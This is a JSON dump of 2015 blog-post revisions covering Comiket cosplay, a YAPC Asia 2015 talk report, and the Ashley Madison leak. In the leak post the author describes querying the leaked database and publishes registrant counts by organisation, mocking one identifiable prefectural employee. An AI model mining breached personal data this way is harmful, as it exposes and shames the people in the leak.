href=\"http://t.co/xaeCF9m5hM\"\u003epic.twitter.com/xaeCF9m5hM\u003c/a\u003e\u003c/p\u003e\u0026mdash; キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/632804696210599936\"\u003eAugust 16, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eコミッケで撮らせていただきました。 \u003ca href=\"http://t.co/lFsErZdtvO\"\u003epic.twitter.com/lFsErZdtvO\u003c/a\u003e\u003c/p\u003e\u0026mdash; ✌ ( ❦ ٮ ❦ )✌ ♘ (@myg_) \u003ca href=\"https://twitter.com/myg_/status/632101498474770432\"\u003eAugust 14, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/hashtag/c88%E3%82%B3%E3%82%B9%E3%83%97%E3%83%AC?src=hash\"\u003e#c88コスプレ\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/%E3%82%B3%E3%83%9F%E3%82%B1?src=hash\"\u003e#コミケ\u003c/a\u003e 俺です \u003ca href=\"http://t.co/0qB9KvhuzK\"\u003epic.twitter.com/0qB9KvhuzK\u003c/a\u003e\u003c/p\u003e\u0026mdash; キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/632890895562485760\"\u003eAugust 16, 2015\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこのような感じでやっておりました。ギターをちゃんと作る時間がなかったのが大変残念だと思います。\r\n\r\n## 使う道具\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00E4MS3MW/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00E4MS3MW\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eクラウンホワイト CW-2 49g【ベンナイ化粧品】\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00E4MS3MW\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00E4MS3MW\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n白塗りはこれを使いました。これ致命的に落ちづらいので、\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B001H9NO0Q/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B001H9NO0Q\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eソフティモ ホワイト コールドクリーム 300g\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B001H9NO0Q\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B001H9NO0Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこの辺をつかって頑張って落とします。コミケ会場で落とすのには限界があるので、まあもうある程度白いまま帰らざるを得ないところだとは思います。レギュレーション的にどうなんですかね、、、\r\n\r\n髪を剃る覚悟さえあれば比較的高品質なコスプレが簡単にできるのでマッドマックスはおすすめです。","created_at":"2015-08-20T11:32:51.000Z","updated_at":"2015-08-20T11:32:51.000Z"},{"id":2910,"name":"text/コミックマーケット88","body":"%blog% コミックマーケット 88 での私です\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/hashtag/c88%E3%82%B3%E3%82%B9%E3%83%97%E3%83%AC?src=hash\"\u003e#c88コスプレ\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/%E3%82%B3%E3%83%9F%E3%82%B1?src=hash\"\u003e#コミケ\u003c/a\u003e わたしです \u003ca href=\"http://t.co/xaeCF9m5hM\"\u003epic.twitter.com/xaeCF9m5hM\u003c/a\u003e\u003c/p\u003e— キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/632804696210599936\"\u003eAugust 16, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eわたしです \u003ca href=\"http://t.co/2sdBbN0Clt\"\u003epic.twitter.com/2sdBbN0Clt\u003c/a\u003e\u003c/p\u003e\u0026mdash; キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/632101444930285569\"\u003eAugust 14, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eコミッケで撮らせていただきました。 \u003ca href=\"http://t.co/lFsErZdtvO\"\u003epic.twitter.com/lFsErZdtvO\u003c/a\u003e\u003c/p\u003e— ✌ ( ❦ ٮ ❦ )✌ ♘ (@myg_) \u003ca href=\"https://twitter.com/myg_/status/632101498474770432\"\u003eAugust 14, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/hashtag/c88%E3%82%B3%E3%82%B9%E3%83%97%E3%83%AC?src=hash\"\u003e#c88コスプレ\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/%E3%82%B3%E3%83%9F%E3%82%B1?src=hash\"\u003e#コミケ\u003c/a\u003e 俺です \u003ca href=\"http://t.co/0qB9KvhuzK\"\u003epic.twitter.com/0qB9KvhuzK\u003c/a\u003e\u003c/p\u003e— キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/632890895562485760\"\u003eAugust 16, 2015\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこのような感じでやっておりました。ギターをちゃんと作る時間がなかったのが大変残念だと思います。\r\n\r\n## 使う道具\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B00E4MS3MW/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00E4MS3MW\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eクラウンホワイト CW-2 49g【ベンナイ化粧品】\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00E4MS3MW\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00E4MS3MW\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n白塗りはこれを使いました。これ致命的に落ちづらいので、\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/B001H9NO0Q/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B001H9NO0Q\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eソフティモ ホワイト コールドクリーム 300g\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B001H9NO0Q\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B001H9NO0Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこの辺をつかって頑張って落とします。コミケ会場で落とすのには限界があるので、まあもうある程度白いまま帰らざるを得ないところだとは思います。レギュレーション的にどうなんですかね、、、\r\n\r\n髪を剃る覚悟さえあれば比較的高品質なコスプレが簡単にできるのでマッドマックスはおすすめです。","created_at":"2015-08-20T11:34:21.000Z","updated_at":"2015-08-20T11:34:21.000Z"},{"id":2911,"name":"text/アシュレイマディソンの件","body":"%blog%\r\n\r\n各国政府機関の人のアドレスも流出データに含まれていたとされています。というわけで私もデータを確認してみました。流出データは MySQL のダンプでとても扱いやすいです。\r\n\r\nというわけでメールアドレスのドメインからどういう組織の人が何人アシュレイマディソンを使っているかわかるわけです。\r\n\r\n簡単に検索しただけなのでこれで全部とかそういう話ではないです。\r\n\r\n所属 | 人数\r\nブラジル政府機関および地方自治体職員 | 900 人以上\r\nBOP(アメリカ連邦刑務所局) | 73 名\r\nFBI(アメリカ連邦捜査局) | 2 名\r\n広島県庁 | 1 名\r\n日本政府機関関係者 | 0 名\r\nac.jp で登録してる大学関係者 | 163 名\r\n\r\nちなみに go.jp ドメインでの登録者は一人もいません。また日本の企業のアドレスと思わしきものもほとんど見られません。アホは広島県庁の人ぐらいです。アシュレイマディソンは日本ではあんまり流行っていない + さすがにこういうサイトに仕事アドレスを登録しないという程度の知性は日本人にはあるということなのでしょう。\r\n\r\nここらへんまではまあ笑い話で済むのですが、一つだけちょっと笑い話で済まない組織があります。\r\n\r\nそれは**オーストラリア国防省**です。アシュレイマディソンにはオーストラリア国防省のドメイン(defence.gov.au)のメールアドレスが **133 件**登録されています。\r\n\r\nオーストラリアの行政関係者の全体での登録数は 572 件なので、オーストラリアで流出した政府関係者のうち実に 20% が国防省職員ということになります。\r\n\r\nこれは実際非常に恐ろしい事実で、オーストラリア国防省では defence.gov.au ドメインでのメールのやりとりをまったく監視などをしていないのではということが想像されます。防諜も糞もあったもんじゃないです。\r\n\r\n現在日本はオーストラリアとの防衛協力を強化している真っ最中ですが、このような国家とそのようなことはすべきではありません。日本の軍事技術の核心の一つである AIP 推進潜水艦の輸出などもってのほかなのではないかと思います。","created_at":"2015-08-21T05:48:52.000Z","updated_at":"2015-08-21T05:48:52.000Z"},{"id":2912,"name":"text/アシュレイマディソンの件","body":"%blog%\r\n\r\n各国政府機関の人のアドレスも流出データに含まれていたとされています。というわけで私もデータを確認してみました。流出データは MySQL のダンプでとても扱いやすいです。\r\n\r\nというわけでメールアドレスのドメインからどういう組織の人が何人アシュレイマディソンを使っているかわかるわけです。\r\n\r\n簡単に検索しただけなのでこれで全部とかそういう話ではないです。\r\n\r\n所属 | 人数\r\n--- | ---\r\nブラジル政府機関および地方自治体職員 | 900 人以上\r\nBOP(アメリカ連邦刑務所局) | 73 名\r\nFBI(アメリカ連邦捜査局) | 2 名\r\n広島県庁 | 1 名\r\n日本政府機関関係者 | 0 名\r\nac.jp で登録してる大学関係者 | 163 名\r\n\r\nちなみに go.jp ドメインでの登録者は一人もいません。また日本の企業のアドレスと思わしきものもほとんど見られません。アホは広島県庁の人ぐらいです。アシュレイマディソンは日本ではあんまり流行っていない + さすがにこういうサイトに仕事アドレスを登録しないという程度の知性は日本人にはあるということなのでしょう。\r\n\r\nここらへんまではまあ笑い話で済むのですが、一つだけちょっと笑い話で済まない組織があります。\r\n\r\nそれは**オーストラリア国防省**です。アシュレイマディソンにはオーストラリア国防省のドメイン(defence.gov.au)のメールアドレスが **133 件**登録されています。\r\n\r\nオーストラリアの行政関係者の全体での登録数は 572 件なので、オーストラリアで流出した政府関係者のうち実に 20% が国防省職員ということになります。\r\n\r\nこれは実際非常に恐ろしい事実で、オーストラリア国防省では defence.gov.au ドメインでのメールのやりとりをまったく監視などをしていないのではということが想像されます。防諜も糞もあったもんじゃないです。\r\n\r\n現在日本はオーストラリアとの防衛協力を強化している真っ最中ですが、このような国家とそのようなことはすべきではありません。日本の軍事技術の核心の一つである AIP 推進潜水艦の輸出などもってのほかなのではないかと思います。","created_at":"2015-08-21T05:49:10.000Z","updated_at":"2015-08-21T05:49:10.000Z"},{"id":2913,"name":"text/アシュレイマディソンの件","body":"%blog%\r\n\r\n各国政府機関の人のアドレスも流出データに含まれていたとされています。というわけで私もデータを確認してみました。流出データは MySQL のダンプでとても扱いやすいです。\r\n\r\nというわけでメールアドレスのドメインからどういう組織の人が何人アシュレイマディソンを使っているかわかるわけです。\r\n\r\n簡単に検索しただけなのでこれで全部とかそういう話ではないです。\r\n\r\n所属 | 人数\r\n--- | ---\r\nブラジル政府機関および地方自治体職員 | 900 人以上\r\nBOP(アメリカ連邦刑務所局) | 73 名\r\nFBI(アメリカ連邦捜査局) | 2 名\r\n広島県庁 | 1 名\r\n日本政府機関関係者 | 0 名\r\nac.jp で登録してる大学関係者 | 163 名\r\n\r\n上記の表のとおり go.jp ドメインでの登録者は一人もいません。また日本の企業のアドレスと思わしきものもほとんど見られません。アホは広島県庁の人ぐらいです。アシュレイマディソンは日本ではあんまり流行っていない + さすがにこういうサイトに仕事アドレスを登録しないという程度の知性は日本人にはあるということなのでしょう。\r\n\r\nここらへんまではまあ笑い話で済むのですが、一つだけちょっと笑い話で済まない組織があります。\r\n\r\nそれは**オーストラリア国防省**です。アシュレイマディソンにはオーストラリア国防省のドメイン(defence.gov.au)のメールアドレスが **133 件**登録されています。\r\n\r\nオーストラリアの行政関係者の全体での登録数は 572 件なので、オーストラリアで流出した政府関係者のうち実に 20% が国防省職員ということになります。\r\n\r\nこれは実際非常に恐ろしい事実で、オーストラリア国防省では defence.gov.au ドメインでのメールのやりとりをまったく監視などをしていないのではということが想像されます。防諜も糞もあったもんじゃないです。\r\n\r\n現在日本はオーストラリアとの防衛協力を強化している真っ最中ですが、このような国家とそのようなことはすべきではありません。日本の軍事技術の核心の一つである AIP 推進潜水艦の輸出などもってのほかなのではないかと思います。","created_at":"2015-08-21T05:49:31.000Z","updated_at":"2015-08-21T05:49:31.000Z"},{"id":2914,"name":"text/YAPC_Asia_2015_0-1","body":"%blog% Docker についてアメリカの大学で工学博士から英語で話を聞いてきました\r\n\r\nというわけで YAPC Asia 2015 の 0-1 日目のレポートです。\r\n\r\n### [技術ブログを書くことについて語るときに僕の語ること](http://yapcasia.org/2015/talk/show/7d62caf8-12f4-11e5-881c-d9f87d574c3a)\r\nはてな社員 id:y_uuki の発表。技術ブログ書いてブクマ稼ぐにはみたいな話。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e人間は先頭しか読まない、日本人はアメリカに弱い、はてなブックマーカーはアカデミズムに弱い、信じられないレベルで役に立つ知見だ\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326559684345856\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDocker という単語が後ろに行くだけでブックマーク数が半分になる\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326678655733760\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというような内容。スライドの後半にはいい文章書くにはみたいな話もあったんだけど時間なくてそこはかっとばされてた。あとは「僕がブログ書くときの哲学」みたいな話とかしてたけど、わりとどうでもいい感じだった。\r\n\r\n「日本人は先頭しか読まない」ということをいってたので質疑応答で「先頭しか読まれてないのとちゃんと読まれてたのをブクマの傾向から推し量ることはできるのではないか、またちゃんと読まれるのと読まれないエントリの違いはあるか」みたいな質問をしたのだけど、質問意図が伝わらなかったのかはぐらかされたのか知らないけどちゃんと答えてもらえなかった。\r\n\r\n「先頭しか読まない」って分かってるならちゃんと人々がエントリ読んでいくような仕組み作るのがはてなのお前らの仕事なんじゃないのかと思って、それについても質問しようと思ったのだけどもう無駄だなと思って聞かなかった。\r\n\r\n人間大抵得点が表示されるものには弱くて得点が出るだけでめっちゃ嬉しい!!!みたいになるものだと思う。また文章で何かを表現したい!!!という感情も多くの人が抱くものなのではないか。それが悪魔合体すると文章ではてなブックマーク数を稼ぎたい!!!ということになるが、このような精神は不毛極まるものとしか言いようがない。\r\n\r\nいや不毛でしょ、だって自社サービスのユーザーを「みんな先頭しか読まないし、アメリカやアカデミズムに弱い」とかバカにするような人間性が不毛でないとは僕は絶対に思わない。\r\n\r\n得点を競いたいなら得点を競うために設計されているもの、スポーツやゲームで得点を競って、はてなブックマーク数で競わない方がいいなと思いました。気をつけましょう。\r\n\r\n### 言語開発の現場\r\n[@hsbt](http://twitter.com/hsbt) の発表。\r\n\r\n遅れたので質疑応答のうしろのほうしか聞けてない。 Ruby コミッターやってると Ruby あんま書けなくて辛いとか、みんなで Matz のイタコしてるようなもんなので辛いみたいな話をしていて、楽しそうだった。\r\n\r\n### Perlワンライナー入門\r\nこのトークは本当にすごくて、質疑応答の時に\r\n\r\n「ワンライナー書くのによく使う CPAN モジュールは何ですか」って聞かれて発表者がその場でワンライナー書いて history からよく使うモジュールを抽出していた。発表の練習のせいで history 汚染されててあんまり意味のある結果は得られてなかったんだけど、ワンライナー職人をやっているとテキストファイルから意味のある知識を一瞬で抽出できるようになるというのを最も説得力ある形で示していた。\r\n\r\n僕は「ワンライナーってデバッグとか辛くないですか」みたいなことを質問したのだけど「デバッグ辛いようならワンライナーで解決するのがそもそも間違ってる」との回答。まあそりゃそうだな、、、\r\n\r\n### どうしてもPerlでドローンを飛ばしたい人のためのハードウェアハック概論\r\n[@mackee_w](https://twitter.com/mackee_w) の発表\r\n\r\nPlack で動くサーバーのせた Edison 積んだドローンを自作するという話。\r\n\r\n多分多くの人が聞きたかった内容は\r\n\r\n- Parrot の SDK 使って Bebop Drone を Perl で制御しました\r\n\r\nみたいな感じの話だと思うし、本当に実用的な道はそっちだと思う。が、そんなことは知ったことか、作りたいから作るんだ!!!みたいな熱さがあった。\r\n\r\n質疑応答で「対地速度とれたら制御安定するのでは?」と質問したところ「光学マウスをチップ化したかっこいいデバイスがあるのでそれとカメラで対地速度とれると思う」とのこと。かっこいいデバイスかっこいいので僕もいろいろやっていこうと思いました。\r\n\r\n### Perlの上にも三年 〜 ずっとイケてるサービスを作り続ける技術 〜\r\nid:hitode909 の発表\r\n\r\n正直なところ Perl 使わなければこんなに辛くならないのでは?具体的には Sinatra でええやんみたいに思った。\r\n\r\n懇親会で「ここでサービスと呼ばれてるものまで含めてモデルであるという思想もあると思うがそのあたりどうか」という観点でちょっとした討論をしたところ「テーブルと 1:1 で繋がってるものだけをモデルと呼んでそれ以外はサービスと呼ぶのが単純でよい」という思想とのことだった。\r\n\r\n僕は継承でめっちゃモデルが肥大化して最終的に生成されるモデルがどのようなものか誰も知らないみたいな状態になってもさほど問題ないと考えているので全部モデルと呼べばいいと思っている。人それぞれだろう。\r\n\r\n### Electron: Building desktop apps with web technologies\r\nBen Ogle の発表。\r\n\r\nElectron の概説。これ聞きにきてる人はみんなこれは知ってるのではみたいな内容。\r\n\r\n### esa.io - 趣味から育てたWebサービスで生きていく\r\n(@fukayatsu)[http://twitter.comfukayatsu] の発表。\r\n\r\n正直なところ次の LT 聞くために座席確保するみたいな目的でその場にいただけなのであんまり話聞いてない。「キャラなりきりするとテンションあがる」みたいなこと言ってみんなちょっと失笑してたのがよかった。「アプリ使ってくれるような人脈があると起業は有利」みたいな話だなと思いました。\r\n\r\n### LT 1 日目\r\npapix さんの\r\n\r\n- 障害検知\r\n- チームメンバーへの通報\r\n- コミュニケーションのためのチャットの設置\r\n- 対応記録残すため Wiki 作成\r\n\r\nまでを SaaS 使って作りましょうみたいな話がよかった。対応記録を手書きするみたいのはあんまりいいアイディアではない気がしていて、障害対応チャットルームみたいのが作られる仕組みがあるならもうそのチャットログがそのまま Wiki に記録されるとかでいいのではないかと思った。障害対応したあとに Wiki にその記録をちゃんと書くみたいな体力が残っていることをあまり期待しないほうがいいし、後日記録を書くみたいなアプローチだと正確性がどうしても下る。\r\n\r\nだったらチャットの生ログがあればそれで十分ではないか。\r\n\r\n### 全体的な話\r\n今回は質疑応答の時間が十分に長くとられていて本当によかった。質疑応答が無いならブログを読めばそれで十分という話で、勉強会で一番重要なのは質疑応答の時間だと思う。トークをぎっちぎちに詰めて「時間無いんで質疑応答は懇親会で!!!」みたいになってるのは本当に意味ない。それなら飲み会だけ開催したらいい。","created_at":"2015-08-21T23:02:25.000Z","updated_at":"2015-08-21T23:02:25.000Z"},{"id":2915,"name":"text/YAPC_Asia_2015_0-1","body":"%blog% Docker についてアメリカの大学で工学博士から英語で話を聞いてきました\r\n\r\nというわけで YAPC Asia 2015 の 0-1 日目のレポートです。\r\n\r\n### [技術ブログを書くことについて語るときに僕の語ること](http://yapcasia.org/2015/talk/show/7d62caf8-12f4-11e5-881c-d9f87d574c3a)\r\nはてな社員 id:y_uuki の発表。技術ブログ書いてブクマ稼ぐにはみたいな話。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e人間は先頭しか読まない、日本人はアメリカに弱い、はてなブックマーカーはアカデミズムに弱い、信じられないレベルで役に立つ知見だ\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326559684345856\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDocker という単語が後ろに行くだけでブックマーク数が半分になる\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326678655733760\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというような内容。スライドの後半にはいい文章書くにはみたいな話もあったんだけど時間なくてそこはかっとばされてた。あとは「僕がブログ書くときの哲学」みたいな話とかしてたけど、わりとどうでもいい感じだった。\r\n\r\n「人は先頭しか読まない」ということをいってたので質疑応答で「先頭しか読まれてないのとちゃんと読まれてたのをブクマの傾向から推し量ることはできるのではないか、またちゃんと読まれるのと読まれないエントリの違いはあるか」みたいな質問をしたのだけど、質問意図が伝わらなかったのかはぐらかされたのか知らないけどちゃんと答えてもらえなかった。\r\n\r\n「先頭しか読まない」って分かってるならちゃんと人々がエントリ読んでいくような仕組み作るのがはてなのお前らの仕事なんじゃないのかと思って、それについても質問しようと思ったのだけどもう無駄だなと思って聞かなかった。\r\n\r\n人間大抵得点が表示されるものには弱くて得点が出るだけでめっちゃ嬉しい!!!みたいになるものだと思う。また文章で何かを表現したい!!!という感情も多くの人が抱くものなのではないか。それが悪魔合体すると文章ではてなブックマーク数を稼ぎたい!!!ということになるが、このような精神は不毛極まるものとしか言いようがない。\r\n\r\nいや不毛でしょ、だって自社サービスのユーザーを「みんな先頭しか読まないし、アメリカやアカデミズムに弱い」とかバカにするような人間性が不毛でないとは僕は絶対に思わない。\r\n\r\n得点を競いたいなら得点を競うために設計されているもの、スポーツやゲームで得点を競って、はてなブックマーク数で競わない方がいいなと思いました。気をつけましょう。\r\n\r\n### 言語開発の現場\r\n[@hsbt](http://twitter.com/hsbt) の発表。\r\n\r\n遅れたので質疑応答のうしろのほうしか聞けてない。 Ruby コミッターやってると Ruby あんま書けなくて辛いとか、みんなで Matz のイタコしてるようなもんなので辛いみたいな話をしていて、楽しそうだった。\r\n\r\n### Perlワンライナー入門\r\nこのトークは本当にすごくて、質疑応答の時に\r\n\r\n「ワンライナー書くのによく使う CPAN モジュールは何ですか」って聞かれて発表者がその場でワンライナー書いて history からよく使うモジュールを抽出していた。発表の練習のせいで history 汚染されててあんまり意味のある結果は得られてなかったんだけど、ワンライナー職人をやっているとテキストファイルから意味のある知識を一瞬で抽出できるようになるというのを最も説得力ある形で示していた。\r\n\r\n僕は「ワンライナーってデバッグとか辛くないですか」みたいなことを質問したのだけど「デバッグ辛いようならワンライナーで解決するのがそもそも間違ってる」との回答。まあそりゃそうだな、、、\r\n\r\n### どうしてもPerlでドローンを飛ばしたい人のためのハードウェアハック概論\r\n[@mackee_w](https://twitter.com/mackee_w) の発表\r\n\r\nPlack で動くサーバーのせた Edison 積んだドローンを自作するという話。\r\n\r\n多分多くの人が聞きたかった内容は\r\n\r\n- Parrot の SDK 使って Bebop Drone を Perl で制御しました\r\n\r\nみたいな感じの話だと思うし、本当に実用的な道はそっちだと思う。が、そんなことは知ったことか、作りたいから作るんだ!!!みたいな熱さがあった。\r\n\r\n質疑応答で「対地速度とれたら制御安定するのでは?」と質問したところ「光学マウスをチップ化したかっこいいデバイスがあるのでそれとカメラで対地速度とれると思う」とのこと。かっこいいデバイスかっこいいので僕もいろいろやっていこうと思いました。\r\n\r\n### Perlの上にも三年 〜 ずっとイケてるサービスを作り続ける技術 〜\r\nid:hitode909 の発表\r\n\r\n正直なところ Perl 使わなければこんなに辛くならないのでは?具体的には Sinatra でええやんみたいに思った。\r\n\r\n懇親会で「ここでサービスと呼ばれてるものまで含めてモデルであるという思想もあると思うがそのあたりどうか」という観点でちょっとした討論をしたところ「テーブルと 1:1 で繋がってるものだけをモデルと呼んでそれ以外はサービスと呼ぶのが単純でよい」という思想とのことだった。\r\n\r\n僕は継承でめっちゃモデルが肥大化して最終的に生成されるモデルがどのようなものか誰も知らないみたいな状態になってもさほど問題ないと考えているので全部モデルと呼べばいいと思っている。人それぞれだろう。\r\n\r\n### Electron: Building desktop apps with web technologies\r\nBen Ogle の発表。\r\n\r\nElectron の概説。これ聞きにきてる人はみんなこれは知ってるのではみたいな内容。\r\n\r\n### esa.io - 趣味から育てたWebサービスで生きていく\r\n(@fukayatsu)[http://twitter.comfukayatsu] の発表。\r\n\r\n正直なところ次の LT 聞くために座席確保するみたいな目的でその場にいただけなのであんまり話聞いてない。「キャラなりきりするとテンションあがる」みたいなこと言ってみんなちょっと失笑してたのがよかった。「アプリ使ってくれるような人脈があると起業は有利」みたいな話だなと思いました。\r\n\r\n### LT 1 日目\r\npapix さんの\r\n\r\n- 障害検知\r\n- チームメンバーへの通報\r\n- コミュニケーションのためのチャットの設置\r\n- 対応記録残すため Wiki 作成\r\n\r\nまでを SaaS 使って作りましょうみたいな話がよかった。対応記録を手書きするみたいのはあんまりいいアイディアではない気がしていて、障害対応チャットルームみたいのが作られる仕組みがあるならもうそのチャットログがそのまま Wiki に記録されるとかでいいのではないかと思った。障害対応したあとに Wiki にその記録をちゃんと書くみたいな体力が残っていることをあまり期待しないほうがいいし、後日記録を書くみたいなアプローチだと正確性がどうしても下る。\r\n\r\nだったらチャットの生ログがあればそれで十分ではないか。\r\n\r\n### 全体的な話\r\n今回は質疑応答の時間が十分に長くとられていて本当によかった。質疑応答が無いならブログを読めばそれで十分という話で、勉強会で一番重要なのは質疑応答の時間だと思う。トークをぎっちぎちに詰めて「時間無いんで質疑応答は懇親会で!!!」みたいになってるのは本当に意味ない。それなら飲み会だけ開催したらいい。","created_at":"2015-08-21T23:03:35.000Z","updated_at":"2015-08-21T23:03:35.000Z"},{"id":2916,"name":"text/YAPC_Asia_2015_0-1","body":"%blog% Docker についてアメリカの大学で工学博士から英語で話を聞いてきました\r\n\r\nというわけで YAPC Asia 2015 の 0-1 日目のレポートです。\r\n\r\n### [技術ブログを書くことについて語るときに僕の語ること](http://yapcasia.org/2015/talk/show/7d62caf8-12f4-11e5-881c-d9f87d574c3a)\r\nはてな社員 id:y_uuki の発表。技術ブログ書いてブクマ稼ぐにはみたいな話。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e人間は先頭しか読まない、日本人はアメリカに弱い、はてなブックマーカーはアカデミズムに弱い、信じられないレベルで役に立つ知見だ\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326559684345856\"\u003eAugust 20, 